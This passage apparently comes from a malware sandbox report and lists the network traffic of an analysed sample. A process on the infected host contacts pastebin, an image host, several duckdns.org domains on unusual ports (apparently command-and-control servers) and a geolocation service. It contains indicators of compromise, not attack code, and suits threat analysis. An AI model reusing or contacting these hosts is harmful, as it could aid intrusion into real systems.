May 1, 2024 08:38:03.222480059 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.222496986 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.222533941 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.222538948 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.222560883 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.222583055 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.257133007 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.257154942 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.257289886 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.257301092 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.257349014 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.257430077 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.257451057 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.257478952 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.257484913 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.257512093 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.257533073 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.395802975 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.395838976 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.395951033 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.395983934 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396024942 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396188021 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396203995 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396249056 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396255016 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396270990 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396308899 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396490097 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396507025 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396559954 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396565914 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396605015 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396698952 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396714926 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396761894 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396768093 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.396786928 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.396805048 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.397099972 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397115946 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397171974 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.397178888 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397223949 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.397475004 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397491932 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397547007 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.397552967 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397593975 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.397732019 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397748947 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397785902 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.397792101 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.397809982 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.397825956 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398207903 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398231983 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398264885 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398271084 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398289919 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398305893 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398555994 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398572922 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398611069 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398617029 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398634911 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398653984 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398824930 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398840904 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398885012 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398890972 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.398932934 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.398948908 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399182081 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399199009 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399245024 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399251938 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399266958 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399285078 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399535894 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399552107 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399586916 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399593115 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399610043 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399629116 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399827957 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399843931 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399882078 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399888992 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.399907112 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.399920940 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.400175095 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.400197029 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.400235891 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.400240898 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.400248051 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.400279999 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.400295019 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.400299072 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.400317907 CEST	443	49754	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.400357962 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.400674105 CEST	49754	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.526752949 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.526770115 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.526838064 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.526925087 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.526940107 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.526962042 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.526983023 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.527019978 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527040958 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527070045 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.527076960 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527106047 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.527123928 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.527304888 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527323961 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527378082 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.527384043 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527421951 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.527554989 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527575016 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527621031 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.527632952 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.527667999 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.528034925 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528054953 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528109074 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.528115034 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528157949 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.528420925 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528445959 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528503895 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.528510094 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528548002 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.528762102 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528779984 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528836012 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.528841019 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.528878927 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.529190063 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529210091 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529254913 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.529259920 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529297113 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.529448032 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529467106 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529520035 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.529525042 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529567957 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.529779911 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529795885 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529850006 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.529855967 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.529890060 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.530169964 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.530225039 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.530275106 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.530282021 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.530318975 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.530503035 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.530523062 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.530567884 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.530574083 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.530591965 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.530617952 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.530946970 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.530965090 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531018972 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.531025887 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531063080 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.531297922 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531317949 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531383038 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.531423092 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531464100 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.531707048 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531725883 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531811953 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.531817913 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531853914 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.531886101 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531923056 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531944990 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.531949043 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531968117 CEST	443	49755	185.184.154.65	192.168.2.4
May 1, 2024 08:38:03.531991959 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.532016039 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.532381058 CEST	49755	443	192.168.2.4	185.184.154.65
May 1, 2024 08:38:03.678020954 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:03.956509113 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:03.956670046 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:03.964963913 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:04.258013964 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:04.332370996 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:04.335031033 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:04.522670031 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:04.614022970 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:04.769450903 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:04.769558907 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:04.835124969 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:05.467921019 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:05.797455072 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:05.797693968 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:06.126151085 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:06.376792908 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:06.510363102 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:06.789028883 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:06.835048914 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:06.987265110 CEST	49757	80	192.168.2.4	178.237.33.50
May 1, 2024 08:38:07.173979044 CEST	80	49757	178.237.33.50	192.168.2.4
May 1, 2024 08:38:07.174083948 CEST	49757	80	192.168.2.4	178.237.33.50
May 1, 2024 08:38:07.174777031 CEST	49757	80	192.168.2.4	178.237.33.50
May 1, 2024 08:38:07.365964890 CEST	80	49757	178.237.33.50	192.168.2.4
May 1, 2024 08:38:07.366162062 CEST	49757	80	192.168.2.4	178.237.33.50
May 1, 2024 08:38:07.382863998 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:07.701627970 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:08.365454912 CEST	80	49757	178.237.33.50	192.168.2.4
May 1, 2024 08:38:08.365528107 CEST	49757	80	192.168.2.4	178.237.33.50
May 1, 2024 08:38:08.529555082 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:08.811745882 CEST	8500	49758	12.221.146.138	192.168.2.4
May 1, 2024 08:38:08.814294100 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:08.815494061 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:09.095963955 CEST	8500	49758	12.221.146.138	192.168.2.4
May 1, 2024 08:38:09.098263979 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:09.396778107 CEST	8500	49758	12.221.146.138	192.168.2.4
May 1, 2024 08:38:09.396845102 CEST	8500	49758	12.221.146.138	192.168.2.4
May 1, 2024 08:38:09.396924019 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:09.402785063 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:09.688205004 CEST	8500	49758	12.221.146.138	192.168.2.4
May 1, 2024 08:38:09.882133007 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:12.713293076 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:13.050347090 CEST	8500	49758	12.221.146.138	192.168.2.4
May 1, 2024 08:38:13.050435066 CEST	49758	8500	192.168.2.4	12.221.146.138
May 1, 2024 08:38:13.209880114 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:13.378252983 CEST	8500	49758	12.221.146.138	192.168.2.4
May 1, 2024 08:38:13.533653975 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:23.507528067 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:23.829180002 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:29.505475044 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:29.509151936 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:38:29.828859091 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:30.460328102 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:30.781009912 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:34.376512051 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:34.538218021 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:34.813873053 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:34.816133022 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:37.116801977 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:37.454826117 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:47.409364939 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:47.736308098 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:57.710968971 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:38:58.035747051 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:38:59.690090895 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:38:59.691237926 CEST	49756	8100	192.168.2.4	12.221.146.138
May 1, 2024 08:39:00.017266989 CEST	8100	49756	12.221.146.138	192.168.2.4
May 1, 2024 08:39:04.361047983 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:39:04.444483995 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:39:08.007344961 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:39:08.329513073 CEST	8450	49743	12.221.146.138	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 08:36:43.992564917 CEST	64750	53	192.168.2.4	1.1.1.1
May 1, 2024 08:36:44.087440014 CEST	53	64750	1.1.1.1	192.168.2.4
May 1, 2024 08:36:55.995991945 CEST	57947	53	192.168.2.4	1.1.1.1
May 1, 2024 08:36:56.307575941 CEST	53	57947	1.1.1.1	192.168.2.4
May 1, 2024 08:37:09.014559984 CEST	57183	53	192.168.2.4	1.1.1.1
May 1, 2024 08:37:09.469441891 CEST	53	57183	1.1.1.1	192.168.2.4
May 1, 2024 08:37:19.099883080 CEST	53925	53	192.168.2.4	1.1.1.1
May 1, 2024 08:37:19.213571072 CEST	53	53925	1.1.1.1	192.168.2.4
May 1, 2024 08:38:03.548829079 CEST	59330	53	192.168.2.4	1.1.1.1
May 1, 2024 08:38:03.665739059 CEST	53	59330	1.1.1.1	192.168.2.4
May 1, 2024 08:38:06.887257099 CEST	52110	53	192.168.2.4	1.1.1.1
May 1, 2024 08:38:06.983510017 CEST	53	52110	1.1.1.1	192.168.2.4
May 1, 2024 08:38:08.407944918 CEST	55882	53	192.168.2.4	1.1.1.1
May 1, 2024 08:38:08.525960922 CEST	53	55882	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 1, 2024 08:36:43.992564917 CEST	192.168.2.4	1.1.1.1	0xf103	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
May 1, 2024 08:36:55.995991945 CEST	192.168.2.4	1.1.1.1	0x50bf	Standard query (0)	uploaddeimagens.com.br	A (IP address)	IN (0x0001)	false
May 1, 2024 08:37:09.014559984 CEST	192.168.2.4	1.1.1.1	0x7ae5	Standard query (0)	staygeraldine.nz	A (IP address)	IN (0x0001)	false
May 1, 2024 08:37:19.099883080 CEST	192.168.2.4	1.1.1.1	0x9757	Standard query (0)	aprilxrwonew8450.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 08:38:03.548829079 CEST	192.168.2.4	1.1.1.1	0x6cf2	Standard query (0)	remco8100.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 08:38:06.887257099 CEST	192.168.2.4	1.1.1.1	0xb873	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false
May 1, 2024 08:38:08.407944918 CEST	192.168.2.4	1.1.1.1	0xe66	Standard query (0)	hvaprinew850.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 1, 2024 08:36:44.087440014 CEST	1.1.1.1	192.168.2.4	0xf103	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
May 1, 2024 08:36:44.087440014 CEST	1.1.1.1	192.168.2.4	0xf103	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
May 1, 2024 08:36:44.087440014 CEST	1.1.1.1	192.168.2.4	0xf103	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
May 1, 2024 08:36:56.307575941 CEST	1.1.1.1	192.168.2.4	0x50bf	No error (0)	uploaddeimagens.com.br	172.67.215.45	A (IP address)	IN (0x0001)	false
May 1, 2024 08:36:56.307575941 CEST	1.1.1.1	192.168.2.4	0x50bf	No error (0)	uploaddeimagens.com.br	104.21.45.138	A (IP address)	IN (0x0001)	false
May 1, 2024 08:37:09.469441891 CEST	1.1.1.1	192.168.2.4	0x7ae5	No error (0)	staygeraldine.nz	185.184.154.65	A (IP address)	IN (0x0001)	false
May 1, 2024 08:37:19.213571072 CEST	1.1.1.1	192.168.2.4	0x9757	No error (0)	aprilxrwonew8450.duckdns.org	12.221.146.138	A (IP address)	IN (0x0001)	false
May 1, 2024 08:38:03.665739059 CEST	1.1.1.1	192.168.2.4	0x6cf2	No error (0)	remco8100.duckdns.org	12.221.146.138	A (IP address)	IN (0x0001)	false
May 1, 2024 08:38:06.983510017 CEST	1.1.1.1	192.168.2.4	0xb873	No error (0)	geoplugin.net	178.237.33.50	A (IP address)	IN (0x0001)	false
May 1, 2024 08:38:08.525960922 CEST	1.1.1.1	192.168.2.4	0xe66	No error (0)	hvaprinew850.duckdns.org	12.221.146.138	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

uploaddeimagens.com.br

staygeraldine.nz

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49757	178.237.33.50	80	3672	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 08:38:07.174777031 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
May 1, 2024 08:38:07.365964890 CEST	1196	IN	HTTP/1.1 200 OK date: Wed, 01 May 2024 06:38:07 GMT server: Apache content-length: 988 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 31 34 39 2e 31 38 2e 32 34 2e 39 36 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 57 61 73 68 69 6e 67 74 6f 6e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 43 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"149.18.24.96", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"Washington", "geoplugin_region":"District of Columbia", "geoplugin_regionCode":"DC", "geoplugin_regionName":"District of Columbia", "geoplugin_areaCode":"", "geoplugin_dmaCode":"511", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"38.894", "geoplugin_longitude":"-77.0365", "geoplugin_locationAccuracyRadius":"20", 